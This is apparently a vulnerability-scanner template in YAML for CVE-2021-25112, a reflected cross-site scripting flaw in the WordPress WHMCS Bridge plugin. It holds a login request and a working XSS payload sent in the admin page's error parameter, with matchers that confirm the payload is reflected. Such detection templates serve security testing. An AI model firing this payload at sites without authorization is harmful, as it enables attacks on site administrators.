61 lines
1.8 KiB
YAML
61 lines
1.8 KiB
YAML
id: CVE-2021-25112
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info:
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name: WordPress WHMCS Bridge <6.4b - Cross-Site Scripting
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author: dhiyaneshDk
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severity: medium
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description: |
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WordPress WHMCS Bridge plugin before 6.4b contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the error parameter before outputting it back in the admin dashboard.
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remediation: |
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Update WordPress WHMCS Bridge to version 6.4b or later to mitigate this vulnerability.
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reference:
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- https://wpscan.com/vulnerability/4aae2dd9-8d51-4633-91bc-ddb53ca3471c
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- https://plugins.trac.wordpress.org/changeset/2659751
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- https://nvd.nist.gov/vuln/detail/CVE-2021-25112
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-25112
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cwe-id: CWE-79
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epss-score: 0.001
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epss-percentile: 0.40867
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cpe: cpe:2.3:a:i-plugins:whmcs_bridge:*:*:*:*:*:wordpress:*:*
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metadata:
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max-request: 2
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vendor: i-plugins
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product: whmcs_bridge
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framework: wordpress
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tags: whmcs,xss,wpscan,wordpress,wp-plugin,wp,authenticated
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http:
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- raw:
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- |
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POST /wp-login.php HTTP/1.1
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Host: {{Hostname}}
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Origin: {{RootURL}}
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Content-Type: application/x-www-form-urlencoded
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Cookie: wordpress_test_cookie=WP%20Cookie%20check
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log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
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- |
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GET /wp-admin/options-general.php?page=cc-ce-bridge-cp&error=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1
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Host: {{Hostname}}
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cookie-reuse: true
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "<strong><img src onerror=alert(document.domain)></strong>"
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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